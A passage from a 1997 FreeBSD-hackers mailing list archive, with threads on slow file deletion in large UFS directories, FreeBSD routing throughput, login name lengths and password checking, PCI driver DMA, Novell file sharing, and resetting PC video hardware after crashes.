increase exponentially with a slope equalt to a square exponential progreassion divided by 32 (or whatever your average number of entries per block is, given your average file name length). Deleteing the last entries are going to take the longest of all. There were some additional things added into the unlink path in respect for the lease code, and there were some additional things added into the getdents path in support of NFSv3. And there is a *lot* of additional function call and contention overhead from the BSD4.4-Lite2 locking code, which is upside down (IMO, anyway). So yes, it's slower than it was, but no, it wasn't fast before; it had the same problems. Note that changing the on disk structure for installed systems is problematic. You *could* treat the directory block as a skliplist structure, and deal with it that way. That would gain you significant speedup, a the cost of modifying the ondisk structure to add skip records to the front of blocks. Alternately, you could truncate blocks off the front of the directory, as they were deleted (the first block could not be truncated, since it must contain "." and "..", but subsequent blocks could be, rendering the directory "sparse"; a bit of a pain for fsck, but it would let you skip the intermediate block reads, if you looked for 0 blocks in the directory traversal). Short of changing the directory structure, or changing the way large deletes are handled, or fixing some of the FS locking and caching issues, there's really nothing you can do about it. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Aug 16 12:28:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA06917 for hackers-outgoing; Sat, 16 Aug 1997 12:28:43 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA06912 for ; Sat, 16 Aug 1997 12:28:40 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id MAA04387; Sat, 16 Aug 1997 12:20:48 -0700 From: Terry Lambert Message-Id: <199708161920.MAA04387@phaeton.artisoft.com> Subject: Re: More info on slow "rm" times with 2.2.1+. To: karpen@ocean.campus.luth.se (Mikael Karpberg) Date: Sat, 16 Aug 1997 12:20:48 -0700 (MST) Cc: dg@root.com, hackers@FreeBSD.ORG In-Reply-To: <199708161229.OAA01231@ocean.campus.luth.se> from "Mikael Karpberg" at Aug 16, 97 02:29:10 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > How many files are in the directory isn't important. What is important is > > the size of the directory. You can have a 20MB directory and yet have only a > > 100 files in it. There is code to free up unused space in directories, but > > it only works if the free space is at the end. If the directory is large, > > then it will take a large amount of time to search through it. > > And this cuz it's slow? Or? Isn't there a command (which could be run in > daily, or weekly, or something) that goes through a directory (or many) and > optimize the space they take? > > If there isn't... why? And would it be hard to write? This particular optimization is not possible "in-band" because of you can't reorder the directory entries when someone has the directory open without damaging the validit of their offsef for their next "getdents()". The closest you can get with this approach is a sparse directory file (do not get me wrong; this is a not insignificant win). But even so, you will probably not be in the area of the previous versions performance, unless you are right on the cusp of directory entry pages being LRU'ed on you. And if you were, you could speed it up much more easily by adding RAM (best) or swap (good) to extend the LRU period so that the directory entry traversal did not force pages out. Of course, doing that, you aren't going to get a real win: you are just putting off the problem for a future recurrence when your number of entries goes up, yet again. Throwing hardware at a problem is a piss-poor way to optimize. One *very* nice possibility would be to seperate, completely, the directory and file entry operations (the VFS abstraction fails to do this in a number of circumstances right now, and namei() and the directory cache being per FS instead of in the common VFS layer are in the middle of where the blame should fall). If you did this, you could provide a directory entry function "iterator" operation. If you had one of these, you could add a system call to call the iterator with a delete function (yes, the function would have globbing in the kernel) and delete everything matching the criteria in a single, linear pass of the directory, without kernel/user transitions. Yet another VFS layering issue, I'm afraid. 8-(. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Aug 16 12:59:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA07832 for hackers-outgoing; Sat, 16 Aug 1997 12:59:13 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA07817 for ; Sat, 16 Aug 1997 12:59:07 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wzoyL-0006WB-00; Sat, 16 Aug 1997 12:57:17 -0700 Date: Sat, 16 Aug 1997 12:57:17 -0700 (PDT) From: Tom Samplonius To: Jim Dixon cc: Adrian Chadd , freebsd-hackers@freebsd.org Subject: Re: Throughput on kernel routing rules? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 16 Aug 1997, Jim Dixon wrote: > On Sun, 17 Aug 1997, Adrian Chadd wrote: > > > Anyone ever done any tests to see how many packets per second FreeBSD > > can route? > > We have seen something like 10-15Kpps. There is a group at MIT working On what kind of CPU? Since I guess such things are CPU bound... > on a FreeBSD-based router, see > http://ana-www.lcs.mit.edu/anaweb/pcrouter.html > > As I recall they talk about forwarding 500Kpps through the kernel, > perhaps 50 - 100 Kpps through the interfaces. > > They use a modified FreeBSD and two CPUs, one to do the forwarding > and one to handle the gated calculations. It's well worth looking > at. > > -- > Jim Dixon VBCnet GB Ltd http://www.vbc.net > tel +44 117 929 1316 fax +44 117 927 2015 > > > Tom From owner-freebsd-hackers Sat Aug 16 13:14:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA08521 for hackers-outgoing; Sat, 16 Aug 1997 13:14:56 -0700 (PDT) Received: from avon-gw.uk1.vbc.net (jdd@avon-gw.uk1.vbc.net [194.207.2.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA08516 for ; Sat, 16 Aug 1997 13:14:53 -0700 (PDT) Received: (from jdd@localhost) by avon-gw.uk1.vbc.net (8.8.2/8.7.3) id VAA22475; Sat, 16 Aug 1997 21:14:40 +0100 (BST) Date: Sat, 16 Aug 1997 21:14:39 +0100 (BST) From: Jim Dixon X-Sender: jdd@avon-gw.uk1.vbc.net To: Tom Samplonius cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Throughput on kernel routing rules? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 16 Aug 1997, Tom Samplonius wrote: > > > Anyone ever done any tests to see how many packets per second FreeBSD > > > can route? > > > > We have seen something like 10-15Kpps. There is a group at MIT working > > On what kind of CPU? Since I guess such things are CPU bound... P133. It's I/O bound at these speeds. -- Jim Dixon VBCnet GB Ltd http://www.vbc.net tel +44 117 929 1316 fax +44 117 927 2015 From owner-freebsd-hackers Sat Aug 16 14:50:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA12333 for hackers-outgoing; Sat, 16 Aug 1997 14:50:40 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA12328 for ; Sat, 16 Aug 1997 14:50:37 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA02525; Sat, 16 Aug 1997 17:50:03 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Sat, 16 Aug 1997 17:50 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id NAA13410; Sat, 16 Aug 1997 13:52:44 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id NAA03424; Sat, 16 Aug 1997 13:46:03 -0400 (EDT) Date: Sat, 16 Aug 1997 13:46:03 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708161746.NAA03424@lakes.dignus.com> To: ponds!root.com!dg, ponds!freefall.cdrom.com!freebsd-hackers, ponds!lakes.dignus.com!rivers Subject: Re: More info on slow "rm" times with 2.2.1+. Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > Perhaps it's worthwhile to indicate exactly what I've found, > >you may be absolutely correct - there could be a flaw in my logic: > > > >Deleting a file out of ~20,000 with 2.2.1, async mount, multiuser: 3-5 seconds > >Deleting a file out of ~10,000 with 2.2.1, sync mount, multiuser: 3-5 seconds > >Deleting a file out of ~10,000 with 2.2.1, sync mount, single user: 3-5 seconds > >Deleting a file out of ~300 with 2.2.1, sync mount, multiuser: 3-5 seconds > >Deleting all of ~300 with 2.1.7, sync mount, single user: 4 seconds > > > > > >> > >> Of course, my premises may be incorrect in this too. :0 > > > > It would be trivial for me to verify any slow or fast times - all > >I've got to do is make a big directory... seems that ~300 files is > >enough to run into whatever the problem may be... > > How many files are in the directory isn't important. What is important is > the size of the directory. You can have a 20MB directory and yet have only a > 100 files in it. There is code to free up unused space in directories, but > it only works if the free space is at the end. If the directory is large, > then it will take a large amount of time to search through it. > > -DG > Of course... that makes sense. It's possible that the directory shrunk when I did the last delete under 2.2.1 (before rebooting under 2.1.7) I hit that magic entry that caused this coalescing to occur - but I'd kinda think that would be unlikely... Do you think that could explain why 2.1.7 is so much faster than 2.2.1? I'll try and get a reliable reproduction of this one. - Dave R. - From owner-freebsd-hackers Sat Aug 16 15:01:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA12684 for hackers-outgoing; Sat, 16 Aug 1997 15:01:56 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA12676 for ; Sat, 16 Aug 1997 15:01:51 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wzqt5-0006b0-00; Sat, 16 Aug 1997 14:59:59 -0700 Date: Sat, 16 Aug 1997 14:59:58 -0700 (PDT) From: Tom Samplonius To: Jim Dixon cc: freebsd-hackers@freebsd.org Subject: Re: Throughput on kernel routing rules? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 16 Aug 1997, Jim Dixon wrote: > On Sat, 16 Aug 1997, Tom Samplonius wrote: > > > > > Anyone ever done any tests to see how many packets per second FreeBSD > > > > can route? > > > > > > We have seen something like 10-15Kpps. There is a group at MIT working > > > > On what kind of CPU? Since I guess such things are CPU bound... > > P133. It's I/O bound at these speeds. Depending on the number and speed of the interfaces, and the average packet size. It is easy to get 10Kpps per second on a single full-duplex 10BT interface. It would be best to test with minimum sized packets, to figure out how many pps FreeBSD can really handle. > -- > Jim Dixon VBCnet GB Ltd http://www.vbc.net > tel +44 117 929 1316 fax +44 117 927 2015 > > > Tom From owner-freebsd-hackers Sat Aug 16 15:35:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA13679 for hackers-outgoing; Sat, 16 Aug 1997 15:35:19 -0700 (PDT) Received: from avon-gw.uk1.vbc.net (jdd@avon-gw.uk1.vbc.net [194.207.2.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA13673 for ; Sat, 16 Aug 1997 15:35:11 -0700 (PDT) Received: (from jdd@localhost) by avon-gw.uk1.vbc.net (8.8.2/8.7.3) id XAA22641; Sat, 16 Aug 1997 23:35:02 +0100 (BST) Date: Sat, 16 Aug 1997 23:35:01 +0100 (BST) From: Jim Dixon X-Sender: jdd@avon-gw.uk1.vbc.net To: Tom Samplonius cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Throughput on kernel routing rules? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 16 Aug 1997, Tom Samplonius wrote: > > > > > Anyone ever done any tests to see how many packets per second FreeBSD > > > > > can route? > > > > > > > > We have seen something like 10-15Kpps. There is a group at MIT working > > > > > > On what kind of CPU? Since I guess such things are CPU bound... > > > > P133. It's I/O bound at these speeds. > > Depending on the number and speed of the interfaces, and the average > packet size. I am reporting observations. I am not theorizing. The CPU was nowhere near being saturated. > It is easy to get 10Kpps per second on a single full-duplex 10BT > interface. The machine I was talking about has three 100 Mbps ethernet interfaces. The fastest I have seen it running is a something more than 60 Mbps across all three interfaces. Let's say that's 8 MB/s; at packet sizes of 250 B that's 32 Kpps in and out, so it was running in the region of 16 Kpps forwarded. We were a little busy at the time and I wasn't that interested in pps rates; what I noted down was the bytes through the interface, converted to bps. > It would be best to test with minimum sized packets, to figure out how > many pps FreeBSD can really handle. This was real traffic. MIT -- the reference you clipped out -- has done a lot of testing. They are running a heavily modified version of FreeBSD and report much higher pps rates; they think that they can do 500 Kpps through the kernel. -- Jim Dixon VBCnet GB Ltd http://www.vbc.net tel +44 117 929 1316 fax +44 117 927 2015 From owner-freebsd-hackers Sat Aug 16 17:38:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA21010 for hackers-outgoing; Sat, 16 Aug 1997 17:38:54 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA21005 for ; Sat, 16 Aug 1997 17:38:50 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id RAA00522 for ; Sat, 16 Aug 1997 17:38:12 -0700 (PDT) Date: Sat, 16 Aug 1997 17:38:12 -0700 (PDT) From: "Jamil J. Weatherbee" To: freebsd-hackers@freebsd.org Subject: Password Handling Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've been looking through the source code to login.c and various .h files, can someone tell me why login.c defines NBUFSIZE (size of the login name buffer i think) as UT_NAMESIZE+64, where UT_NAMESIZE is 8 (from utmp.h), even though MAXLOGNAME from sys/param.h is 12. The reason I am asking is that I am designing a server that requires user logins (I have looked at ftpd.c also) and am wondering if it is appropriate to use the figure in sys/param.h as the max user name length. Also another thing that confuses me a bit with freebsd is crypt is systems that use DES you can do a crypt on the plain text and a strcmp against the encrypted password returned from getpwnam(), in freebsd with shadowed passwords and either md5 or des are password checks handled the same assuming your daemon is running uid 0? From owner-freebsd-hackers Sat Aug 16 17:54:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA21502 for hackers-outgoing; Sat, 16 Aug 1997 17:54:04 -0700 (PDT) Received: from agni.nuko.com (dummy.nuko.com [206.79.130.80]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA21497 for ; Sat, 16 Aug 1997 17:54:02 -0700 (PDT) Received: (from vinay@localhost) by agni.nuko.com (8.8.5/8.7.3) id RAA25354 for freebsd-hackers@freebsd.org; Sat, 16 Aug 1997 17:52:23 -0700 (PDT) From: Vinay Bannai Message-Id: <199708170052.RAA25354@agni.nuko.com> Subject: Device drivers and DMA details?? To: freebsd-hackers@freebsd.org Date: Sat, 16 Aug 1997 17:52:23 -0700 (PDT) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi folks, I had a few kernel and DMA related questions about a PCI driver I am about to finish. The DMA controller is built into the card. I have been able to successfully DMA back and forth several hundreds of bytes of data. My question being if the transfer size is greated than the physical page size, do we need to initiate separate DMA (or descriptors) for each page? Also, while examining the fxp driver, the fxp_start() seems to be invoked at the time of each incoming packet (or interrupt from the device). Wouldn't this not create a delay in sending packets? Or is it that the fxp_start() also gets invoked whenever a packet is shoved on the network IF queues? Thanks Vinay From owner-freebsd-hackers Sat Aug 16 18:31:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA23024 for hackers-outgoing; Sat, 16 Aug 1997 18:31:50 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA23011 for ; Sat, 16 Aug 1997 18:31:45 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id SAA04271; Sat, 16 Aug 1997 18:33:20 -0700 (PDT) Message-Id: <199708170133.SAA04271@implode.root.com> To: Vinay Bannai cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Device drivers and DMA details?? In-reply-to: Your message of "Sat, 16 Aug 1997 17:52:23 PDT." <199708170052.RAA25354@agni.nuko.com> From: David Greenman Reply-To: dg@root.com Date: Sat, 16 Aug 1997 18:33:20 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Also, while examining the fxp driver, the fxp_start() seems to be >invoked at the time of each incoming packet (or interrupt from the >device). Wouldn't this not create a delay in sending packets? Or is it >that the fxp_start() also gets invoked whenever a packet is shoved on >the network IF queues? The driver start routine is also called when a packet is sent. See the end of the ether_output() function in /sys/net/if_ethersubr.c. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Sat Aug 16 19:04:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA24280 for hackers-outgoing; Sat, 16 Aug 1997 19:04:07 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA24257 for ; Sat, 16 Aug 1997 19:04:01 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id MAA14340; Sun, 17 Aug 1997 12:02:54 +1000 Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id LAA04500; Sun, 17 Aug 1997 11:32:51 +0930 (CST) Message-ID: <19970817113251.14722@lemis.com> Date: Sun, 17 Aug 1997 11:32:51 +0930 From: Greg Lehey To: =?iso-8859-1?Q?S=F8ren_Schmidt?= Cc: msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG Subject: Re: reset screen hardware? References: <199708140837.RAA00646@papillon.lemis.com> <199708150627.IAA17998@sos.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Mailer: Mutt 0.81e In-Reply-To: =?iso-8859-1?Q?=3C199708150627=2EIAA17998=40sos=2Efreebsd=2Edk=3E=3B_fro?= =?iso-8859-1?Q?m_S=F8ren_Schmidt_on_Fri=2C_Aug_15=2C_1997_at_08=3A27=3A1?= =?iso-8859-1?Q?3AM_+0200?= Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-MIME-Autoconverted: from 8bit to quoted-printable by freebie.lemis.com id LAA04500 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id TAA24274 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Aug 15, 1997 at 08:27:13AM +0200, Søren Schmidt wrote: > In reply to grog@lemis.com who wrote: >> >> Alfred: Mike's right. It's a pain, and also a can of worms. But he's >> wrong when he says it can't be done. If you want to do yourself and >> everybody else a service, investigate the probe and reset code in >> XFree86 and figure out how to cannibalize it to save the board state >> (it makes sense to have this done during boot at probe time) and >> create an ioctl to use this information to reset to text mode. > > I can be done, sure, but it will NEVER get into the official kernel > like that, I'll fight that tooth and nail. How about a more positive approach? I know plenty of people who'll tell me in vivid detail why things won't work. > We wont have hundreds of K's of code like that in kernel space. That's for sure. But who says it'll be hundreds of Ks? > There is hope however, there is work underways to do this via the > video BIOS, and that's a totally different story... Do tell. I think we're mixing up different problems here. Let's try to separate them: 1. When the system or the X server crashes, there's no way to get the display back to normal. We need to fix that, and I don't think anybody really disagrees with this one. 2. Is it possible? Some people say no. But the X server does it when it stops normally, so it *is* possible. 3. How to we implement it? Ah, there's the rub. I still think it belongs in the probe routines when the system starts up, but on the other hand I agree with Søren that kernel bloat is Bad. How about a routine that runs from /etc/rc, does the probing, and saves it in kernel data via an ioctl? Then we have another ioctl to reset the state. I'd guess that there aren't more than 20 or 30 registers to restore, each only a byte wide, so we're not talking huge quantities of data. Greg From owner-freebsd-hackers Sat Aug 16 19:55:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA26373 for hackers-outgoing; Sat, 16 Aug 1997 19:55:06 -0700 (PDT) Received: from marlin.exis.net (root@marlin.exis.net [205.252.72.102]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA26368 for ; Sat, 16 Aug 1997 19:55:04 -0700 (PDT) Received: from sailfish.exis.net (sailfish.exis.net [205.252.72.104]) by marlin.exis.net (8.8.4/8.8.5) with SMTP id WAA13327; Sat, 16 Aug 1997 22:54:59 -0400 Date: Sat, 16 Aug 1997 22:53:11 -0400 (EDT) From: Stefan Molnar To: "Charles A. Peters" cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD File Server on a Novell 3.12 Network In-Reply-To: <199708161327.JAA23712@ais.ais-gwd.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I am in the process of attempting to set up a FreeBSD file server to > be attached to my Novell 3.12 IPX network. I was wondering what the > most reliable way to accomplish this task would be. > > My primary goal is to have a server capable of housing files with > long file names (WinNT files, Windows95 files, and Unix type files). > > I understand that the SAMBA product included with my copy of FreeBSD > Version 2.1 may be used to accomplish this task. > > Any suggestions would be greatly appreciated. You can not use samba for this task, samba uses SMB for file and printer sharing. Netware does not work that way. With only a Netware 3.x and freebsd, you can try to us mars (I saw it on redhat), or Netware NFS. The way I worked around it was using a OS/2 Warp server as a front end of the netware box, and the freebsd box and it work wonerfully. BUt I was luck in that the school had os/2 warp server. Later I moved from samba and used the OS/2 NFS package. BUt I can tell you that it was a blind journey to get all of those servers talking nicely to dos/win, win95, and os/2 warp clienmts. Stefan From owner-freebsd-hackers Sat Aug 16 20:03:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA26811 for hackers-outgoing; Sat, 16 Aug 1997 20:03:31 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA26806 for ; Sat, 16 Aug 1997 20:03:25 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA03401; Sun, 17 Aug 1997 12:31:55 +0930 (CST) From: Michael Smith Message-Id: <199708170301.MAA03401@genesis.atrad.adelaide.edu.au> Subject: Re: reset screen hardware? In-Reply-To: <19970817113251.14722@lemis.com> from Greg Lehey at "Aug 17, 97 11:32:51 am" To: grog@lemis.com (Greg Lehey) Date: Sun, 17 Aug 1997 12:31:55 +0930 (CST) Cc: sos@sos.freebsd.dk, msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greg Lehey stands accused of saying: > > > > I can be done, sure, but it will NEVER get into the official kernel > > like that, I'll fight that tooth and nail. > > How about a more positive approach? I know plenty of people who'll > tell me in vivid detail why things won't work. This is like asking for a positive approach to a VMS ABI emulation module 8) > > We wont have hundreds of K's of code like that in kernel space. > > That's for sure. But who says it'll be hundreds of Ks? Have a look at the X server sources someday. > > There is hope however, there is work underways to do this via the > > video BIOS, and that's a totally different story... > > Do tell. Check Jonathan Lemon's recent post wrt. calling the BIOS from the kernel. > I think we're mixing up different problems here. Let's try to > separate them: > > 1. When the system or the X server crashes, there's no way to get the > display back to normal. We need to fix that, and I don't think > anybody really disagrees with this one. More specifically, we need some functionality to restore the display hardware from some arbitrary state to a known, usable state. It doesn't matter _why_ we want this. > 2. Is it possible? Some people say no. But the X server does it > when it stops normally, so it *is* possible. All things are "possible". I don't think there's any argument about this. "Feasible" is the term under question. > 3. How to we implement it? Ah, there's the rub. I still think it > belongs in the probe routines when the system starts up, but on > the other hand I agree with Søren that kernel bloat is Bad. Call the BIOS on the video card. See above. > How about a routine that runs from /etc/rc, does the probing, and > saves it in kernel data via an ioctl? Then we have another ioctl to > reset the state. I'd guess that there aren't more than 20 or 30 > registers to restore, each only a byte wide, so we're not talking huge > quantities of data. Hah. You obviously haven't had to work with PC viode hardware, have you? Add these to your list of things to deal with : - write-only registers - programming-order-dependant operations Basically, it is not possible to take a snapshot of the state of a modern video adapter without uintimate knowledge of the hardware involved. Such a snapshot is often useless anyway, as it does not contain information about the state transitions prior to the snaphot state, which may be very significant to the hardware's current mode of operation. On the other hand, the manufacturer of the card _does_ know intimately how it works. They write functions for manipulating the card hardware, and stick them in a PROM on the card. Why not use their code and save ourselves the agony? > Greg -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sat Aug 16 20:12:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA27392 for hackers-outgoing; Sat, 16 Aug 1997 20:12:20 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id UAA27381 for ; Sat, 16 Aug 1997 20:12:16 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id NAA20381; Sun, 17 Aug 1997 13:11:38 +1000 From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id MAA04998; Sun, 17 Aug 1997 12:41:37 +0930 (CST) Message-Id: <199708170311.MAA04998@freebie.lemis.com> Subject: Re: reset screen hardware? In-Reply-To: <199708170301.MAA03401@genesis.atrad.adelaide.edu.au> from Michael Smith at "Aug 17, 97 12:31:55 pm" To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Sun, 17 Aug 1997 12:41:37 +0930 (CST) Cc: hackers@freebsd.org (FreeBSD Hackers) Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by freebie.lemis.com id MAA04998 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id UAA27383 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Michael Smith writes: > Greg Lehey stands accused of saying: >>> >>> I can be done, sure, but it will NEVER get into the official kernel >>> like that, I'll fight that tooth and nail. >> >> How about a more positive approach? I know plenty of people who'll >> tell me in vivid detail why things won't work. > > This is like asking for a positive approach to a VMS ABI emulation > module 8) Yes. If people want it. I didn't say it had to be nice. -- rant mode on -- If there's one thing that pisses me off about many FreeBSD hackers, it's this attitude "Ooh, this is nasty. I don't want to have anything to do with it". Lots of PC hardware is nasty. Messing around in a 16 bit BIOS is nasty. IDE is nasty. VGA is nasty. Come to think of it, what's nice about PC hardware? But FreeBSD's acceptance suffers significantly because nobody can be bothered to deal with these nasty things. Where's the Win-32 emulator? ... -- rant mode off -- >>> We wont have hundreds of K's of code like that in kernel space. >> >> That's for sure. But who says it'll be hundreds of Ks? > > Have a look at the X server sources someday. Must I? I took a look at SuperProbe. The binary is 83 kB, and in the kernel some of that could go. Sure, that's too much for the kernel, too, but it's still not hundreds. >>> There is hope however, there is work underways to do this via the >>> video BIOS, and that's a totally different story... >> >> Do tell. > > Check Jonathan Lemon's recent post wrt. calling the BIOS from the > kernel. I seem to have missed that one. Can you resend it to me? >>> I think we're mixing up different problems here. Let's try to >> separate them: >> >> 1. When the system or the X server crashes, there's no way to get the >> display back to normal. We need to fix that, and I don't think >> anybody really disagrees with this one. > > More specifically, we need some functionality to restore the display > hardware from some arbitrary state to a known, usable state. It doesn't > matter _why_ we want this. Fair enough. >> 2. Is it possible? Some people say no. But the X server does it >> when it stops normally, so it *is* possible. > > All things are "possible". I don't think there's any argument about > this. "Feasible" is the term under question. > >> 3. How to we implement it? Ah, there's the rub. I still think it >> belongs in the probe routines when the system starts up, but on >> the other hand I agree with Søren that kernel bloat is Bad. > > Call the BIOS on the video card. See above. Will do. >> How about a routine that runs from /etc/rc, does the probing, and >> saves it in kernel data via an ioctl? Then we have another ioctl to >> reset the state. I'd guess that there aren't more than 20 or 30 >> registers to restore, each only a byte wide, so we're not talking huge >> quantities of data. > > Hah. You obviously haven't had to work with PC viode hardware, have you? No, but I've worked with PC video hardware. It's not that tough. > Add these to your list of things to deal with : > > - write-only registers > - programming-order-dependant operations Yup. But you can deal with that in the probe routine and with a specific structure definition. > Basically, it is not possible to take a snapshot of the state of a > modern video 